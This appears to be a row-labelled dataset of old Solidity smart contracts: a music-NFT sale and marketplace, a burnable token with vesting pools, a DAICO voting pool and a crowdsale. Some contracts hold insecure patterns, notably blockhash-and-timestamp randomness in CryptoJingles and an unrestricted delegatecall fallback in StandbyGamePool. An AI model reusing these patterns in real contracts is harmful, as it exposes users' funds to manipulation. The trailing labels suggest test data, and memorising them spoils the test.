usersSamples[j] = samples[i];
usersSamples[j + 1] = tokenType[samples[i]];
j += 2;
}
return usersSamples;
}
function addSample(address _owner, uint32 _sampleType, uint _sampleId) internal {
tokensForOwner[_sampleId] = _owner;
tokensOwned[_owner].push(_sampleId);
tokenType[_sampleId] = _sampleType;
tokenPosInArr[_sampleId] = tokensOwned[_owner].length - 1;
}
function setCryptoJinglesContract(address _cryptoJingles) public onlyOwner {
require(cryptoJingles == 0x0);
cryptoJingles = _cryptoJingles;
}
function setSampleRegistry(address _sampleRegistry) public onlyOwner {
sampleRegistry = _sampleRegistry;
}
}
contract CryptoJingles is Ownable {
struct Purchase {
address user;
uint blockNumber;
bool revealed;
uint numSamples;
bool exists;
}
event Purchased(address indexed user, uint blockNumber, uint numJingles, uint numOfPurchases);
event JinglesOpened(address byWhom, address jingleOwner, uint currBlockNumber);
mapping (uint => bool) public isAlreadyUsed;
mapping(address => string) public authors;
uint numOfPurchases;
uint MAX_SAMPLES_PER_PURCHASE = 15;
uint SAMPLE_PRICE = 10 ** 15;
uint SAMPLES_PER_JINGLE = 5;
uint NUM_SAMPLE_RANGE = 1000;
Sample public sampleContract;
Jingle public jingleContract;
function CryptoJingles(address _sample, address _jingle) public {
numOfPurchases = 0;
sampleContract = Sample(_sample);
jingleContract = Jingle(_jingle);
}
function buySamples(uint _numSamples, address _to) public payable {
require(_numSamples <= MAX_SAMPLES_PER_PURCHASE);
require(msg.value >= (SAMPLE_PRICE * _numSamples));
require(_to != 0x0);
for (uint i = 0; i < _numSamples; ++i) {
bytes32 blockHash = block.blockhash(block.number - 1);
uint randomNum = randomGen(blockHash, i);
sampleContract.mint(_to, randomNum);
}
Purchased(_to, block.number, _numSamples, numOfPurchases);
numOfPurchases++;
}
function composeJingle(string name, uint32[5] samples, uint8[20] settings) public {
require(jingleContract.uniqueJingles(keccak256(samples)) == false);
uint32[5] memory sampleTypes;
for (uint i = 0; i < SAMPLES_PER_JINGLE; ++i) {
bool isOwner = sampleContract.isTokenOwner(samples[i], msg.sender);
require(isOwner == true && isAlreadyUsed[samples[i]] == false);
isAlreadyUsed[samples[i]] = true;
sampleTypes[i] = sampleContract.tokenType(samples[i]);
sampleContract.removeSample(msg.sender, samples[i]);
}
jingleContract.composeJingle(msg.sender, samples, sampleTypes, name,
authors[msg.sender], settings);
}
function setAuthorName(string _name) public {
authors[msg.sender] = _name;
}
function randomGen(bytes32 blockHash, uint seed) constant public returns (uint randomNumber) {
return (uint(keccak256(blockHash, block.timestamp, numOfPurchases, seed )) % NUM_SAMPLE_RANGE);
}
function withdraw(uint _amount) public onlyOwner {
require(_amount <= this.balance);
msg.sender.transfer(_amount);
}
}
contract Marketplace is Ownable {
modifier onlyJingle() {
require(msg.sender == address(jingleContract));
_;
}
struct Order {
uint price;
address seller;
uint timestamp;
bool exists;
}
event SellOrder(address owner, uint jingleId, uint price);
event Bought(uint jingleId, address buyer, uint price);
event Canceled(address owner, uint jingleId);
uint public numOrders;
uint public ownerBalance;
uint OWNERS_CUT = 3;
mapping (uint => Order) public sellOrders;
mapping(uint => uint) public positionOfJingle;
uint[] public jinglesOnSale;
Jingle public jingleContract;
function Marketplace(address _jingle) public {
jingleContract = Jingle(_jingle);
ownerBalance = 0;
}
function sell(address _owner, uint _jingleId, uint _amount) public onlyJingle {
require(_amount > 100);
require(sellOrders[_jingleId].exists == false);
sellOrders[_jingleId] = Order({
price: _amount,
seller: _owner,
timestamp: now,
exists: true
});
numOrders++;
jinglesOnSale.push(_jingleId);
positionOfJingle[_jingleId] = jinglesOnSale.length - 1;
jingleContract.transferFrom(_owner, this, _jingleId);
SellOrder(_owner, _jingleId, _amount);
}
function buy(uint _jingleId) public payable {
require(sellOrders[_jingleId].exists == true);
require(msg.value >= sellOrders[_jingleId].price);
sellOrders[_jingleId].exists = false;
numOrders--;
removeOrder(_jingleId);
jingleContract.transfer(msg.sender, _jingleId);
uint price = sellOrders[_jingleId].price;
uint threePercent = (price / 100) * OWNERS_CUT;
sellOrders[_jingleId].seller.transfer(price - threePercent);
ownerBalance += threePercent;
Bought(_jingleId, msg.sender, msg.value);
}
function cancel(uint _jingleId) public {
require(sellOrders[_jingleId].exists == true);
require(sellOrders[_jingleId].seller == msg.sender);
sellOrders[_jingleId].exists = false;
numOrders--;
removeOrder(_jingleId);
jingleContract.transfer(msg.sender, _jingleId);
Canceled(msg.sender, _jingleId);
}
function removeOrder(uint _jingleId) internal {
uint length = jinglesOnSale.length;
uint index = positionOfJingle[_jingleId];
uint lastOne = jinglesOnSale[length - 1];
jinglesOnSale[index] = lastOne;
positionOfJingle[lastOne] = index;
delete jinglesOnSale[length - 1];
jinglesOnSale.length--;
}
function getAllJinglesOnSale() public view returns(uint[]) {
return jinglesOnSale;
}
function withdraw(uint _amount) public onlyOwner {
require(_amount <= ownerBalance);
msg.sender.transfer(_amount);
}
} | 1 | 2,407 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract StandardBurnableToken is BurnableToken, StandardToken {
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract TokenPool {
ERC20Basic public token;
modifier poolReady {
require(token != address(0));
_;
}
function setToken(ERC20Basic newToken) public {
require(token == address(0));
token = newToken;
}
function balance() view public returns (uint256) {
return token.balanceOf(this);
}
function transferTo(address dst, uint256 amount) internal returns (bool) {
return token.transfer(dst, amount);
}
function getFrom() view public returns (address) {
return this;
}
}
contract StandbyGamePool is TokenPool, Ownable {
address public currentVersion;
bool public ready = false;
function update(address newAddress) onlyOwner public {
require(!ready);
ready = true;
currentVersion = newAddress;
transferTo(newAddress, balance());
}
function() public payable {
require(ready);
if(!currentVersion.delegatecall(msg.data)) revert();
}
}
contract AdvisorPool is TokenPool, Ownable {
function addVestor(
address _beneficiary,
uint256 _cliff,
uint256 _duration,
uint256 totalTokens
) public onlyOwner poolReady returns (TokenVesting) {
uint256 start = block.timestamp;
TokenVesting vesting = new TokenVesting(_beneficiary, start, _cliff, _duration, false);
transferTo(vesting, totalTokens);
return vesting;
}
function transfer(address _beneficiary, uint256 amount) public onlyOwner poolReady returns (bool) {
return transferTo(_beneficiary, amount);
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
emit Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
}
contract TeamPool is TokenPool, Ownable {
uint256 public constant INIT_COIN = 200000 * (10 ** uint256(18));
mapping(address => TokenVesting[]) cache;
function addVestor(
address _beneficiary,
uint256 _cliff,
uint256 _duration,
uint256 totalTokens
) public onlyOwner poolReady returns (TokenVesting) {
return _addVestor(_beneficiary, _cliff, _duration, totalTokens, true);
}
function _addVestor(
address _beneficiary,
uint256 _cliff,
uint256 _duration,
uint256 totalTokens,
bool revokable
) internal returns (TokenVesting) {
uint256 start = block.timestamp;
cache[_beneficiary].push(new TokenVesting(_beneficiary, start, _cliff, _duration, revokable));
uint newIndex = cache[_beneficiary].length - 1;
transferTo(cache[_beneficiary][newIndex], totalTokens);
return cache[_beneficiary][newIndex];
}
function vestingCount(address _beneficiary) public view poolReady returns (uint) {
return cache[_beneficiary].length;
}
function revoke(address _beneficiary, uint index) public onlyOwner poolReady {
require(index < vestingCount(_beneficiary));
require(cache[_beneficiary][index] != address(0));
cache[_beneficiary][index].revoke(token);
}
}
contract BenzeneToken is StandardBurnableToken, DetailedERC20 {
using SafeMath for uint256;
string public constant name = "Benzene";
string public constant symbol = "BZN";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 100000000 * (10 ** uint256(decimals));
uint256 public constant GAME_POOL_INIT = 75000000 * (10 ** uint256(decimals));
uint256 public constant TEAM_POOL_INIT = 20000000 * (10 ** uint256(decimals));
uint256 public constant ADVISOR_POOL_INIT = 5000000 * (10 ** uint256(decimals));
address public GamePoolAddress;
address public TeamPoolAddress;
address public AdvisorPoolAddress;
constructor(address gamePool,
address teamPool,
address advisorPool) public DetailedERC20(name, symbol, decimals) {
totalSupply_ = INITIAL_SUPPLY;
balances[gamePool] = GAME_POOL_INIT;
GamePoolAddress = gamePool;
balances[teamPool] = TEAM_POOL_INIT;
TeamPoolAddress = teamPool;
balances[advisorPool] = ADVISOR_POOL_INIT;
AdvisorPoolAddress = advisorPool;
StandbyGamePool(gamePool).setToken(this);
TeamPool(teamPool).setToken(this);
AdvisorPool(advisorPool).setToken(this);
}
} | 0 | 733 |
pragma solidity ^0.4.13;
contract ERC20Interface {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract PoolAndSaleInterface {
address public tokenSaleAddr;
address public votingAddr;
address public votingTokenAddr;
uint256 public tap;
uint256 public initialTap;
uint256 public initialRelease;
function setTokenSaleContract(address _tokenSaleAddr) external;
function startProject() external;
}
contract DaicoPool is PoolAndSaleInterface, Ownable {
using SafeMath for uint256;
address public tokenSaleAddr;
address public votingAddr;
address public votingTokenAddr;
uint256 public tap;
uint256 public initialTap;
uint256 public initialRelease;
uint256 public releasedBalance;
uint256 public withdrawnBalance;
uint256 public lastUpdatedTime;
uint256 public fundRaised;
uint256 public closingRelease = 30 days;
uint256 public refundRateNano = 0;
enum Status {
Initializing,
ProjectInProgress,
Destructed
}
Status public status;
event TapHistory(uint256 new_tap);
event WithdrawalHistory(string token, uint256 amount);
event Refund(address receiver, uint256 amount);
modifier onlyTokenSaleContract {
require(msg.sender == tokenSaleAddr);
_;
}
modifier onlyVoting {
require(msg.sender == votingAddr);
_;
}
modifier poolInitializing {
require(status == Status.Initializing);
_;
}
modifier poolDestructed {
require(status == Status.Destructed);
_;
}
constructor(address _votingTokenAddr, uint256 tap_amount, uint256 _initialRelease) public {
require(_votingTokenAddr != 0x0);
require(tap_amount > 0);
initialTap = tap_amount;
votingTokenAddr = _votingTokenAddr;
status = Status.Initializing;
initialRelease = _initialRelease;
votingAddr = new Voting(ERC20Interface(_votingTokenAddr), address(this));
}
function () external payable {}
function setTokenSaleContract(address _tokenSaleAddr) external {
require(tokenSaleAddr == address(0x0));
require(_tokenSaleAddr != address(0x0));
tokenSaleAddr = _tokenSaleAddr;
}
function startProject() external onlyTokenSaleContract {
require(status == Status.Initializing);
status = Status.ProjectInProgress;
lastUpdatedTime = block.timestamp;
releasedBalance = initialRelease;
updateTap(initialTap);
fundRaised = address(this).balance;
}
function withdraw(uint256 _amount) public onlyOwner {
require(_amount > 0);
uint256 amount = _amount;
updateReleasedBalance();
uint256 available_balance = getAvailableBalance();
if (amount > available_balance) {
amount = available_balance;
}
withdrawnBalance = withdrawnBalance.add(amount);
owner.transfer(amount);
emit WithdrawalHistory("ETH", amount);
}
function raiseTap(uint256 tapMultiplierRate) external onlyVoting {
updateReleasedBalance();
updateTap(tap.mul(tapMultiplierRate).div(100));
}
function selfDestruction() external onlyVoting {
status = Status.Destructed;
updateReleasedBalance();
releasedBalance = releasedBalance.add(closingRelease.mul(tap));
updateTap(0);
uint256 _totalSupply = ERC20Interface(votingTokenAddr).totalSupply();
refundRateNano = address(this).balance.sub(getAvailableBalance()).mul(10**9).div(_totalSupply);
}
function refund(uint256 tokenAmount) external poolDestructed {
require(ERC20Interface(votingTokenAddr).transferFrom(msg.sender, this, tokenAmount));
uint256 refundingEther = tokenAmount.mul(refundRateNano).div(10**9);
emit Refund(msg.sender, tokenAmount);
msg.sender.transfer(refundingEther);
}
function getReleasedBalance() public view returns(uint256) {
uint256 time_elapsed = block.timestamp.sub(lastUpdatedTime);
return releasedBalance.add(time_elapsed.mul(tap));
}
function getAvailableBalance() public view returns(uint256) {
uint256 available_balance = getReleasedBalance().sub(withdrawnBalance);
if (available_balance > address(this).balance) {
available_balance = address(this).balance;
}
return available_balance;
}
function isStateInitializing() public view returns(bool) {
return (status == Status.Initializing);
}
function isStateProjectInProgress() public view returns(bool) {
return (status == Status.ProjectInProgress);
}
function isStateDestructed() public view returns(bool) {
return (status == Status.Destructed);
}
function updateReleasedBalance() internal {
releasedBalance = getReleasedBalance();
lastUpdatedTime = block.timestamp;
}
function updateTap(uint256 new_tap) private {
tap = new_tap;
emit TapHistory(new_tap);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Voting{
using SafeMath for uint256;
address public votingTokenAddr;
address public poolAddr;
mapping (uint256 => mapping(address => uint256)) public deposits;
mapping (uint => bool) public queued;
uint256 proposalCostWei = 1 * 10**18;
uint256 public constant VOTING_PERIOD = 15 minutes;
struct Proposal {
uint256 start_time;
uint256 end_time;
Subject subject;
string reason;
mapping (bool => uint256) votes;
uint256 voter_count;
bool isFinalized;
uint256 tapMultiplierRate;
}
Proposal[] public proposals;
uint public constant PROPOSAL_EMPTY = 0;
enum Subject {
RaiseTap,
Destruction
}
event Vote(
address indexed voter,
uint256 amount
);
event ReturnDeposit(
address indexed voter,
uint256 amount
);
event ProposalRaised(
address indexed proposer,
string subject
);
constructor (
address _votingTokenAddr,
address _poolAddr
) public {
require(_votingTokenAddr != address(0x0));
require(_poolAddr != address(0x0));
votingTokenAddr = _votingTokenAddr;
poolAddr = _poolAddr;
Proposal memory proposal;
proposal.subject = Subject.RaiseTap;
proposal.reason = "PROPOSAL_HEADER";
proposal.start_time = block.timestamp -1;
proposal.end_time = block.timestamp -1;
proposal.voter_count = 0;
proposal.isFinalized = true;
proposals.push(proposal);
assert(proposals.length == 1);
}
function addRaiseTapProposal (
string _reason,
uint256 _tapMultiplierRate
) external payable returns(uint256) {
require(!queued[uint(Subject.RaiseTap)]);
require(100 < _tapMultiplierRate && _tapMultiplierRate <= 200);
uint256 newID = addProposal(Subject.RaiseTap, _reason);
proposals[newID].tapMultiplierRate = _tapMultiplierRate;
queued[uint(Subject.RaiseTap)] = true;
emit ProposalRaised(msg.sender, "RaiseTap");
}
function addDestructionProposal (string _reason) external payable returns(uint256) {
require(!queued[uint(Subject.Destruction)]);
addProposal(Subject.Destruction, _reason);
queued[uint(Subject.Destruction)] = true;
emit ProposalRaised(msg.sender, "SelfDestruction");
}
function vote (bool agree, uint256 amount) external {
require(ERC20Interface(votingTokenAddr).transferFrom(msg.sender, this, amount));
uint256 pid = this.getCurrentVoting();
require(pid != PROPOSAL_EMPTY);
require(proposals[pid].start_time <= block.timestamp);
require(proposals[pid].end_time >= block.timestamp);
if (deposits[pid][msg.sender] == 0) {
proposals[pid].voter_count = proposals[pid].voter_count.add(1);
}
deposits[pid][msg.sender] = deposits[pid][msg.sender].add(amount);
proposals[pid].votes[agree] = proposals[pid].votes[agree].add(amount);
emit Vote(msg.sender, amount);
}
function finalizeVoting () external {
uint256 pid = this.getCurrentVoting();
require(pid != PROPOSAL_EMPTY);
require(proposals[pid].end_time <= block.timestamp);
require(!proposals[pid].isFinalized);
proposals[pid].isFinalized = true;
if (isSubjectRaiseTap(pid)) {
queued[uint(Subject.RaiseTap)] = false;
if (isPassed(pid)) {
DaicoPool(poolAddr).raiseTap(proposals[pid].tapMultiplierRate);
}
} else if (isSubjectDestruction(pid)) {
queued[uint(Subject.Destruction)] = false;
if (isPassed(pid)) {
DaicoPool(poolAddr).selfDestruction();
}
}
}
function returnToken (address account) external returns(bool) {
uint256 amount = 0;
for (uint256 pid = 0; pid < proposals.length; pid++) {
if(!proposals[pid].isFinalized){
break;
}
amount = amount.add(deposits[pid][account]);
deposits[pid][account] = 0;
}
if(amount <= 0){
return false;
}
require(ERC20Interface(votingTokenAddr).transfer(account, amount));
emit ReturnDeposit(account, amount);
return true;
}
function returnTokenMulti (address[] accounts) external {
for(uint256 i = 0; i < accounts.length; i++){
this.returnToken(accounts[i]);
}
}
function getCurrentVoting () public view returns(uint256) {
for (uint256 i = 0; i < proposals.length; i++) {
if (!proposals[i].isFinalized) {
return i;
}
}
return PROPOSAL_EMPTY;
}
function isPassed (uint256 pid) public view returns(bool) {
require(proposals[pid].isFinalized);
uint256 ayes = getAyes(pid);
uint256 nays = getNays(pid);
uint256 absent = ERC20Interface(votingTokenAddr).totalSupply().sub(ayes).sub(nays);
return (ayes > nays.add(absent.div(6)));
}
function isStarted (uint256 pid) public view returns(bool) {
if (pid > getCurrentVoting()) {
return false;
} else if (block.timestamp >= proposals[pid].start_time) {
return true;
}
return false;
}
function isEnded (uint256 pid) public view returns(bool) {
if (pid > getCurrentVoting()) {
return false;
} else if (block.timestamp >= proposals[pid].end_time) {
return true;
}
return false;
}
function getReason (uint256 pid) external view returns(string) {
require(pid < proposals.length);
return proposals[pid].reason;
}
function isSubjectRaiseTap (uint256 pid) public view returns(bool) {
require(pid < proposals.length);
return proposals[pid].subject == Subject.RaiseTap;
}
function isSubjectDestruction (uint256 pid) public view returns(bool) {
require(pid < proposals.length);
return proposals[pid].subject == Subject.Destruction;
}
function getVoterCount (uint256 pid) external view returns(uint256) {
require(pid < proposals.length);
return proposals[pid].voter_count;
}
function getAyes (uint256 pid) public view returns(uint256) {
require(pid < proposals.length);
require(proposals[pid].isFinalized);
return proposals[pid].votes[true];
}
function getNays (uint256 pid) public view returns(uint256) {
require(pid < proposals.length);
require(proposals[pid].isFinalized);
return proposals[pid].votes[false];
}
function addProposal (Subject _subject, string _reason) internal returns(uint256) {
require(msg.value == proposalCostWei);
require(DaicoPool(poolAddr).isStateProjectInProgress());
poolAddr.transfer(msg.value);
Proposal memory proposal;
proposal.subject = _subject;
proposal.reason = _reason;
proposal.start_time = block.timestamp;
proposal.end_time = block.timestamp + VOTING_PERIOD;
proposal.voter_count = 0;
proposal.isFinalized = false;
proposals.push(proposal);
uint256 newID = proposals.length - 1;
return newID;
}
} | 0 | 56 |
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function calculatePrice(uint value, uint tokensSold, uint weiRaised, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool requireCustomerId, bool requiredSignedAddress, address signerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint endsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(tokenAmount, weiAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * tokenAmount;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
